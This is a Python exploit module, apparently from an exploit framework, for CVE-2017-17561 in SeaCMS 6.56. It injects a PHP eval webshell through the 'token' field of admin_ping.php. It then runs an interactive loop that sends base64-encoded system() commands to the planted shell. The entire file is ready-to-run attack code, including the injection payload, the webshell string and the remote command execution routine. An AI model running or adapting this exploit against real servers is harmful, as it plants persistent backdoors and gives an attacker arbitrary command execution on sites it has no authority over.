#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

try:
    from core.log import Log
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log

class Exploit:
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity":True},
        "remote_port": {"default": 80, "necessity":True},
        "admin_path": {"default": "admin", "necessity":True},
        # "session_auth": {"default": True, "necessity":True},
        "session_id": {"default": "", "necessity":True},
        # "admin_user": {"default": "admin", "necessity":True},
        # "admin_pwd": {"default": "admin", "necessity":True},
        "webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity":True},
        "shell_pwd":{"default": "c", "necessity":True},
        "interactive":{"default":True, "necessity":True}
    }
    webshell_url = ""

    def __init__(self):
        pass

    def exploit(self):
        host = self.get_config("remote_host")
        port = int(self.get_config("remote_port"))
        admin_path = self.get_config("admin_path")
        # session_auth = self.get_config("session_auth")
        session_id = self.get_config("session_id")
        # username = self.get_config("username")
        # password = self.get_config("password")
        webshell_password = self.get_config("shell_pwd")
        webshell = self.get_config("webshell").replace("__PASSWORD__", webshell_password)
        url = "http://%s:%d/%s/admin_ping.php?action=set" % (host, port, admin_path)
        data = {
            "weburl":"www.seacms.net",
            "token":"123456789\";$var=%s.\"" % (webshell)
        }
        cookies = {
            "PHPSESSID":session_id
        }
        Log.info("Data: %s" % (data))
        Log.info("Session: %s" % (cookies))
        try:
            response = requests.post(url, data=data, cookies=cookies)
            self.webshell_url = "http://%s:%d/data/%s/ping.php" % (host, port, admin_path)
            if response.status_code == 200:
                Log.success("Exploit success!")
                Log.success("Webshell is stored at: %s" % (self.webshell_url))
                Log.success("Password is %s" % (webshell_password))
                if self.get_config("interactive") == True:
                    self.interactive()
                return True
            else:
                return False
        except Exception as e:
            Log.error(str(e))
            return False

    def show_options(self):
        Log.warning("Options\t\tNecessity\t\tDefault")
        Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.warning("%s\t\t%s\t\t\t%s" % (key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
        if key in self.config.keys():
            self.config[key]["default"] = value
        else:
            Log.error("No such option!")

    def get_config(self, key):
        return self.config[key]["default"]

    def interactive(self):
        if self.webshell_url == "":
            Log.error("Webshell is dead!")
            return
        while True:
            command = raw_input("$ ")
            if command == "exit":
                break
            data = {
                self.get_config("shell_pwd"):"system(base64_decode('%s'));" % (command.encode("base64").replace("\n", ""))
            }
            print data
            try:
                Log.success(requests.post(self.webshell_url, data=data).content)
            except Exception as e:
                Log.error(str(e))
                return False

    def show_info(self):
        Log.info("Name: SeaCMS(6.56) Authenticated GetShell (CVE-2017-17561)")
        Log.info("Effected Version: <=6.56")
        Log.info("Author: WangYihang")
        Log.info("Email: wangyihanger@gmail.com")
        Log.info("Refer:")
        Log.info("\thttps://gist.github.com/WangYihang/9507e2efdceb67a5bc2761200f19f213")
        Log.info("\thttps://nvd.nist.gov/vuln/detail/CVE-2017-17561")

def main():
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "192.168.187.1")
    exploit.set_config("session_id", "b6aia8tltrqtie7h0pjojelml3")
    exploit.set_config("shell_pwd", "hacker")
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()
